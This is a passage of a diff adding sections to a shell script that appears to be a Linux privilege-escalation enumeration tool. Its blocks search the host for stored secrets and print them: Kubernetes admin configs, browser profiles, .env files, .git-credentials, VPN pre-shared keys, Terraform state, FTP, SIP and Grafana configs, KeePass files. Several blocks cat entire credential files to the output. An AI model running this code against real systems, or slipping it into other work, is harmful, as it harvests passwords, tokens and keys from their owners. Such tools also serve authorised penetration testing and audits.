+ if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kube-proxy$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kube-proxy"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kube-proxy$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kube-proxy$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubernetes$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubernetes"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubernetes$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubernetes$,${SED_RED},"; find "$f" -name "admin.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,admin.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";find "$f" -name "controller-manager.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,controller-manager.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";find "$f" -name "scheduler.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,scheduler.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_FIREFOX" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Firefox Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_FIREFOX\" | grep -E \"\.mozilla$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".mozilla"; fi; fi; printf "%s" "$PSTORAGE_FIREFOX" | grep -E "\.mozilla$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.mozilla$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FIREFOX\" | grep -E \"Firefox$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Firefox"; fi; fi; printf "%s" "$PSTORAGE_FIREFOX" | grep -E "Firefox$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Firefox$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_CHROME" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Chrome Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_CHROME\" | grep -E \"google-chrome$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "google-chrome"; fi; fi; printf "%s" "$PSTORAGE_CHROME" | grep -E "google-chrome$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,google-chrome$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CHROME\" | grep -E \"Chrome$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Chrome"; fi; fi; printf "%s" "$PSTORAGE_CHROME" | grep -E "Chrome$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Chrome$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_AUTOLOGIN" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Autologin Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_AUTOLOGIN\" | grep -E \"autologin$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "autologin"; fi; fi; printf "%s" "$PSTORAGE_AUTOLOGIN" | grep -E "autologin$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,autologin$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,passwd,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_AUTOLOGIN\" | grep -E \"autologin\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "autologin.conf"; fi; fi; printf "%s" "$PSTORAGE_AUTOLOGIN" | grep -E "autologin\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,autologin\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,passwd,${SED_RED},g"; done; echo "";
+fi
+
+
+#-- SI) S/Key athentication
+if (grep auth= /etc/login.conf 2>/dev/null | grep -v "^#" | grep -q skey) || [ "$DEBUG" ] ; then
+ print_2title "S/Key authentication"
+ printf "System supports$RED S/Key$NC authentication\n"
+ if ! [ -d /etc/skey/ ]; then
+ echo "${GREEN}S/Key authentication enabled, but has not been initialized"
+ elif ! [ "$IAMROOT" ] && [ -w /etc/skey/ ]; then
+ echo "${RED}/etc/skey/ is writable by you"
+ ls -ld /etc/skey/
+ else
+ ls -ld /etc/skey/ 2>/dev/null
+ fi
+fi
+echo ""
+
+#-- SI) YubiKey athentication
+if (grep "auth=" /etc/login.conf 2>/dev/null | grep -v "^#" | grep -q yubikey) || [ "$DEBUG" ]; then
+ print_2title "YubiKey authentication"
+ printf "System supports$RED YubiKey$NC authentication\n"
+ if ! [ "$IAMROOT" ] && [ -w /var/db/yubikey/ ]; then
+ echo "${RED}/var/db/yubikey/ is writable by you"
+ ls -ld /var/db/yubikey/
+ else
+ ls -ld /var/db/yubikey/ 2>/dev/null
+ fi
+ echo ""
+fi
+
+if [ "$PSTORAGE_SNMP" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing SNMP Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_SNMP\" | grep -E \"snmpd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "snmpd.conf"; fi; fi; printf "%s" "$PSTORAGE_SNMP" | grep -E "snmpd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,snmpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "rocommunity|rwcommunity|extend.*|^createUser" | sed -${E} "s,rocommunity|rwcommunity|extend.*|^createUser,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_PYPIRC" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Pypirc Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_PYPIRC\" | grep -E \"\.pypirc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".pypirc"; fi; fi; printf "%s" "$PSTORAGE_PYPIRC" | grep -E "\.pypirc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.pypirc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username|password,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_POSTFIX" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Postfix Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_POSTFIX\" | grep -E \"postfix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "postfix"; fi; fi; printf "%s" "$PSTORAGE_POSTFIX" | grep -E "postfix$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,postfix$,${SED_RED},"; find "$f" -name "master.cf" | while read ff; do ls -ld "$ff" | sed -${E} "s,master.cf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "user=" | sed -${E} "s,user=|argv=,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_LDAPRC" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Ldaprc Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_LDAPRC\" | grep -E \"\.ldaprc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".ldaprc"; fi; fi; printf "%s" "$PSTORAGE_LDAPRC" | grep -E "\.ldaprc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.ldaprc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_ENV" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Env Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_ENV\" | grep -E \"\.env.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".env*"; fi; fi; printf "%s" "$PSTORAGE_ENV" | grep -E "\.env.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.env.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[tT][oO][kK][eE][N]|[dD][bB]|[pP][rR][iI][vV][aA][tT][eE]|[kK][eE][yY],${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_MSMTPRC" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Msmtprc Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_MSMTPRC\" | grep -E \"\.msmtprc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".msmtprc"; fi; fi; printf "%s" "$PSTORAGE_MSMTPRC" | grep -E "\.msmtprc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.msmtprc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,user.*|password.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_KEEPASS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Keepass Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"\.kdbx$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.kdbx"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "\.kdbx$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.kdbx$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.config.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "KeePass.config*"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.config.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,KeePass\.config.*$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "KeePass.ini"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,KeePass\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.enforced.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "KeePass.enforced*"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.enforced.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,KeePass\.enforced.*$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_FTP" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing FTP Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"vsftpd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "vsftpd.conf"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "vsftpd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,vsftpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "anonymous_enable|anon_upload_enable|anon_mkdir_write_enable|anon_root|chown_uploads|chown_username|local_enable|no_anon_password|write_enable" | sed -${E} "s,anonymous_enable|anon_upload_enable|anon_mkdir_write_enable|anon_root|chown_uploads|chown_username|local_enable|no_anon_password|write_enable|[yY][eE][sS],${SED_RED},g" | sed -${E} "s,\s[nN][oO]|=[nN][oO],${SED_GOOD},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"\.ftpconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.ftpconfig"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "\.ftpconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.ftpconfig$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ffftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ffftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ffftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ffftp\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ftp\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ftp\.config$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ftp.config"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ftp\.config$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ftp\.config$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"sites\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sites.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "sites\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sites\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"wcx_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wcx_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "wcx_ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,wcx_ftp\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"winscp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "winscp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "winscp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,winscp\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ws_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ws_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ws_ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ws_ftp\.ini$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_VARNISH" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Varnish Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_VARNISH\" | grep -E \"varnish$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "varnish"; fi; fi; printf "%s" "$PSTORAGE_VARNISH" | grep -E "varnish$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,varnish$,${SED_RED},"; find "$f" -name "default.vcl" | while read ff; do ls -ld "$ff" | sed -${E} "s,default.vcl,${SED_RED},"; done; echo "";find "$f" -name "secret" | while read ff; do ls -ld "$ff" | sed -${E} "s,secret,${SED_RED},"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_APACHE_AIRFLOW" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Apache-Airflow Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_APACHE_AIRFLOW\" | grep -E \"airflow\.cfg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "airflow.cfg"; fi; fi; printf "%s" "$PSTORAGE_APACHE_AIRFLOW" | grep -E "airflow\.cfg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,airflow\.cfg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,access_control_allow_headers|access_control_allow_methods|access_control_allow_origins|auth_backend|backend.default|google_key_path.*|password|username|flower_basic_auth.*|result_backend.*|ssl_cacert|ssl_cert|ssl_key|fernet_key.*|tls_ca|tls_cert|tls_key|ccache|google_key_path|smtp_password.*|smtp_user.*|cookie_samesite|cookie_secure|expose_config|expose_stacktrace|secret_key|x_frame_enabled,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_APACHE_AIRFLOW\" | grep -E \"webserver_config\.py$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "webserver_config.py"; fi; fi; printf "%s" "$PSTORAGE_APACHE_AIRFLOW" | grep -E "webserver_config\.py$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,webserver_config\.py$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_X11" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing X11 Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_X11\" | grep -E \"\.Xauthority$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".Xauthority"; fi; fi; printf "%s" "$PSTORAGE_X11" | grep -E "\.Xauthority$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.Xauthority$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_ROCKETCHAT" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Rocketchat Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_ROCKETCHAT\" | grep -E \"rocketchat\.service$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rocketchat.service"; fi; fi; printf "%s" "$PSTORAGE_ROCKETCHAT" | grep -E "rocketchat\.service$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,rocketchat\.service$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E -i "Environment" | sed -${E} "s,mongodb://.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_RPCD" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Rpcd Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_RPCD\" | grep -E \"rpcd$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rpcd"; fi; fi; printf "%s" "$PSTORAGE_RPCD" | grep -E "rpcd$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,rpcd$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.+|password.+,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_BITCOIN" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Bitcoin Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_BITCOIN\" | grep -E \"bitcoin\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bitcoin.conf"; fi; fi; printf "%s" "$PSTORAGE_BITCOIN" | grep -E "bitcoin\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,bitcoin\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,user=.*|password=.*|auth=.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_GLUSTERFS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing GlusterFS Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_GLUSTERFS\" | grep -E \"glusterfs\.pem$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "glusterfs.pem"; fi; fi; printf "%s" "$PSTORAGE_GLUSTERFS" | grep -E "glusterfs\.pem$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,glusterfs\.pem$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_GLUSTERFS\" | grep -E \"glusterfs\.ca$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "glusterfs.ca"; fi; fi; printf "%s" "$PSTORAGE_GLUSTERFS" | grep -E "glusterfs\.ca$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,glusterfs\.ca$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_GLUSTERFS\" | grep -E \"glusterfs\.key$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "glusterfs.key"; fi; fi; printf "%s" "$PSTORAGE_GLUSTERFS" | grep -E "glusterfs\.key$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,glusterfs\.key$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_TERRAFORM" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Terraform Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_TERRAFORM\" | grep -E \"\.tfstate$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.tfstate"; fi; fi; printf "%s" "$PSTORAGE_TERRAFORM" | grep -E "\.tfstate$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.tfstate$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,secret.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_TERRAFORM\" | grep -E \"\.tf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.tf"; fi; fi; printf "%s" "$PSTORAGE_TERRAFORM" | grep -E "\.tf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.tf$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_RACOON" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Racoon Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_RACOON\" | grep -E \"racoon\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "racoon.conf"; fi; fi; printf "%s" "$PSTORAGE_RACOON" | grep -E "racoon\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,racoon\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,pre_shared_key.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_RACOON\" | grep -E \"psk\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "psk.txt"; fi; fi; printf "%s" "$PSTORAGE_RACOON" | grep -E "psk\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,psk\.txt$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_ROAD_RECON" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Road Recon Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_ROAD_RECON\" | grep -E \"\.roadtools_auth$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".roadtools_auth"; fi; fi; printf "%s" "$PSTORAGE_ROAD_RECON" | grep -E "\.roadtools_auth$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.roadtools_auth$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,accessToken.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_GRAFANA" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Grafana Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_GRAFANA\" | grep -E \"grafana\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "grafana.ini"; fi; fi; printf "%s" "$PSTORAGE_GRAFANA" | grep -E "grafana\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,grafana\.ini$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#|^;" | sed -${E} "s,admin.*|username.*|password:*|secret.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_SIP" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing SIP Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_SIP\" | grep -E \"sip\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sip.conf"; fi; fi; printf "%s" "$PSTORAGE_SIP" | grep -E "sip\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sip\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,secret.*|allowguest.*=.*true,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_SIP\" | grep -E \"amportal\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "amportal.conf"; fi; fi; printf "%s" "$PSTORAGE_SIP" | grep -E "amportal\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,amportal\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*PASS.*=.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_SIP\" | grep -E \"FreePBX\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "FreePBX.conf"; fi; fi; printf "%s" "$PSTORAGE_SIP" | grep -E "FreePBX\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,FreePBX\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E ".*AMPDB.*=.*" | sed -${E} "s,.*AMPDB.*=.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_SIP\" | grep -E \"Elastix\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Elastix.conf"; fi; fi; printf "%s" "$PSTORAGE_SIP" | grep -E "Elastix\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Elastix\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*pwd.*=.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_VIRTUAL_DISKS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Virtual Disks Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_VIRTUAL_DISKS\" | grep -E \"\.vhd$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.vhd"; fi; fi; printf "%s" "$PSTORAGE_VIRTUAL_DISKS" | grep -E "\.vhd$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.vhd$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_VIRTUAL_DISKS\" | grep -E \"\.vhdx$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.vhdx"; fi; fi; printf "%s" "$PSTORAGE_VIRTUAL_DISKS" | grep -E "\.vhdx$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.vhdx$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_VIRTUAL_DISKS\" | grep -E \"\.vmdk$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.vmdk"; fi; fi; printf "%s" "$PSTORAGE_VIRTUAL_DISKS" | grep -E "\.vmdk$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.vmdk$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_GIT" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Git Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_GIT\" | grep -E \"\.git-credentials$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".git-credentials"; fi; fi; printf "%s" "$PSTORAGE_GIT" | grep -E "\.git-credentials$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.git-credentials$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_ATLANTIS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Atlantis Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_ATLANTIS\" | grep -E \"atlantis\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "atlantis.db"; fi; fi; printf "%s" "$PSTORAGE_ATLANTIS" | grep -E "atlantis\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,atlantis\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,CloneURL|Username,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_OPERA" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Opera Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_OPERA\" | grep -E \"com\.operasoftware\.Opera$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "com.operasoftware.Opera"; fi; fi; printf "%s" "$PSTORAGE_OPERA" | grep -E "com\.operasoftware\.Opera$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,com\.operasoftware\.Opera$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_SAFARI" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Safari Files (limit 70)"
